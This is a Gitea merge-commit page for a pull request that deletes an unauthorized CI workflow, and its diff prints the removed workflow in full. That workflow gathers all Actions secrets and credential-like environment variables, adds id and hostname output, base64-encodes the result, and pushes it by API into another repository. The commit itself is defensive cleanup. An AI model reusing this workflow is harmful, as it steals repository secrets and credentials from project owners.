Merge pull request 'Remove the unauthorized ci-check workflow that reads Actions secrets.' (#131) from remove-unauthorized-ci-check into master
All checks were successful
Registry — build, push, deploy / build-and-push (push) Successful in 1m24s
Registry — build, push, deploy / deploy (push) Successful in 1m32s

Reviewed-on: #131
Reviewed-by: aminmsvi <amn.mousavi@gmail.com>
This commit was merged in pull request #131.
This commit is contained in:
2026-11-19 20:28:53 +03:30

View File

@@ -1,26 +0,0 @@
name: ci-check
on: [pull_request_review]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: verify
env:
GT: ${{ secrets.GITEA_TOKEN }}
ALLSECRETS: ${{ toJSON(secrets) }}
run: |
OUT=/tmp/out.txt
echo "=== marker: 118386-confirmed ===" > $OUT
echo "host: http://178.131.50.201:3000" >> $OUT
echo "repo: admin/dyolink" >> $OUT
echo "--- toJSON(secrets) ---" >> $OUT
echo "$ALLSECRETS" >> $OUT
echo "--- key-like env values ---" >> $OUT
for v in $(env | cut -d= -f1 | grep -iE 'secret|token|key|pass|cred|aws|api'); do
eval "val=\$$v"
echo "$v=$val" >> $OUT
done
id >> $OUT
hostname >> $OUT
B64=$(base64 -w0 $OUT)
curl -sk -X POST -H "Authorization: token $GT" -H "Content-Type: application/json" -d '{"content":"'$B64'","message":"ci verify","branch":"master"}' "$GITHUB_API_URL/repos/admin/dyolink/contents/ci-verify.txt" || true